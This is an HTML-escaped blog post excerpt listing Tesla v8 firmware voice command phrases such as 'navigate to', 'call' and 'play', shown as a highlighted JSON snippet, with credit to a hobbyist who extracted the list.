      <description>&lt;p&gt;As I was trying to understand more on the capabilities of the car, and what options I can do. The voice recognition on the car is quite impressive, it does seem as good at understanding as Amazon&amp;rsquo;s Echo, at least in the early days of &amp;ldquo;Alexa&amp;rdquo; (but that is a different story for another time).&lt;/p&gt;
&lt;p&gt;I was trying to understand what things can I control, or the options one has via the voice. I am still not used to it, and keep forgetting, that is a option especially when driving. As of the v8 firmware series, the following are the choices that work for voice. Credit to &lt;a
	
		href = &#34;https://www.youtube.com/user/Ingineerix/videos&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Ingineer
	&lt;/span&gt;
&lt;/a&gt; for discovering the full list when hacking the car.&lt;/p&gt;
&lt;p&gt;The options in English are listed below, and this is missing the &amp;ldquo;ho ho ho&amp;rdquo; Easter egg and also the &amp;ldquo;&lt;a
	
		href = &#34;https://twitter.com/elonmusk/status/872935638944800769&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		cancel navigation&amp;rdquo; command
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt;19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt;20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt;21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt;22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt;23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt;24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt;25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt;26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt;27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt;28&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;29&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#29&#34;&gt;29&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;30&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#30&#34;&gt;30&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;31&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#31&#34;&gt;31&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;32&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#32&#34;&gt;32&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;33&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#33&#34;&gt;33&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;34&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#34&#34;&gt;34&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;35&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#35&#34;&gt;35&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;voice_command_list&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;drive to&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;drive 2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;dr to&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;dr 2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;drive&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;dr&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate to&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate 2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;navigate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;where is&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;take me to&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;take me 2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;take me&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;call&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;call&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;dial&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;phone&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;note&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;note&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;report&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;bug note&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;bug report&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;command_type&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;play&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;play&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;plays&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;listen to&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;listens to&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;listen 2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;listens 2&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And if you are keen to know, these are stored as a json file internally, and the fill list here here:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;  1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;  2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;  3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;  4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;  5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;  6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt;  7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt;  8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt;  9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt; 10&lt;/a&gt;
